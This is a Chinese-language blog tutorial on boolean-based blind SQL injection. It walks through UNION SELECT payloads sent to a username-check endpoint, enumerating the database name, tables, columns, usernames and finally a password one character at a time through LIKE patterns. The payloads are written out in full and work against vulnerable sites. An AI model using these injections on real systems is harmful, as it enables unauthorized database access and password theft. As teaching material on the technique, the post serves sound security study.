基于布尔值的Blind SQLi

发布时间 2023-03-26 12:26:32作者: 野荷
基于布尔值的Blind SQLi

 

一些浏览器页面会回显{”taken“:true},这是因为服务器的API点包含了登录查询功能,在进行查询时会检查该值是否已注册

url例如:

?username=admin
相当于
select * from users where username = 'admin' limit 1;

假设admin是已注册的

则会回显true,但若是改为admin123,则回显false

这时可以改为

?username=admin123 ' union select 1;--
等于
select * from users where username = 'admin123 ' union select 1;--' limit 1;
等于
select * from users where username ='admin123' union select 1;

这时就的枚举列数了,直到返回ture

这里假设列数为3:

即输入
admin123 ' union select 1,2,3;--
时返回true

这时便可以开始枚举schema的名字了

admin 123' union select 1,2,3 where database() like 's%';--

s% 表示是以s开头的,即若是以s开头的则返回true

这得一个一个字符的测试,返回true后接着输入下一个字符,如sq%,直到枚举完

当然这里时说原理,真正的时候还是得靠脚本

这里假设schema的名字为sqli

那么得接着枚举sqli下的table了

admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'sqli' and table_name like 'a%';--

同样的,一个一个字符的枚举table的名字,直到枚举完

这里假设存在table的名字为users

接着就得枚举column的名字了

admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli' and TABLE_NAME='users' and COLUMN_NAME like 'a%';

同样的从a字符开始枚举,知道枚举完

这里假设存在一个名为id发column

那么我们此时必须得避免重复枚举

admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli' and TABLE_NAME='users' and COLUMN_NAME like 'a%' and COLUMN_NAME !='id';

!='id' 就是避免重复枚举带有id字符的column

这里假设存在有id、username、password这三个column

同样地从a开始枚举username,直到枚举完

admin123' UNION SELECT 1,2,3 from users where username like 'a%

这里假设存在有admin这样一个username

同样地从a开始枚举password,直到枚举完,注意枚举是枚举所有的字符:大写、小写、数字、标点符号,全都要,当然人为操作太困难了

admin123' UNION SELECT 1,2,3 from users where username='admin' and password like 'a%

假设,最终枚举完得到的password为1234